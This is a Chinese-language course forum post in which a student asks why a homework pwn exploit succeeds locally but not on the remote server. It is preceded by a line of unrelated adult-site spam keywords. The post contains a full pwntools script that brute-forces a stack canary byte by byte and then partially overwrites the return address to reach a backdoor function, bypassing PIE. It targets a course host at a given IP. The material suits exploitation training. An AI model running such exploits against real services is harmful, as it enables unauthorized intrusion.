99久久久无码国产精品性黑人,中文www新版资源在线,一级一级女人18毛片

作業(yè)：canary_01問題。本地可以爆破成功，遠(yuǎn)程失敗，沒有調(diào)試思路

Art1cuno 2024-3-9 809

源自：文章：本章作業(yè)

問題描述

作業(yè)：canary_01即protect_full，本地爆破Canary和PIE成功，遠(yuǎn)端爆破Canary成功，PIE失敗，想了解利用是否有問題

問題出現(xiàn)的環(huán)境背景及自己嘗試過哪些方法

本地虛擬機(jī)：課程提供的Ubuntu 20.04 64位
利用思路：期望將ret值的低2字節(jié)改為backdoor的值從而繞過PIE

相關(guān)代碼

from pwn import *
 
elf = ELF("./protect_full")
# libc = ELF("./libc-2.31.so")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
# p = process([elf.path])
p = remote('123.59.196.133', '10015')
 
canary = '\x00'
while len(canary) < 8:
    for i in range(0x100):
        payload = ''
        payload += 'a' * 0x18
        payload += canary
        payload += p8(i)
        p.sendafter('Okay', payload)
        if not p.recvline_contains('stack smashing detected', timeout=1):
            canary += p8(i)
            break
 
canary = u64(canary)
 
backdoor = 0x8e4
for i in range(0x10):
    k = i << 12
    payload = ''
    payload += 'a' * 0x18
    payload += p64(canary)
    payload += 'b' * 8
    payload += p16(backdoor + k)
    p.sendafter('Okay', payload)
    buf = p.recv()
    if b'flag' in buf:
        print(buf)
        break
 
p.interactive()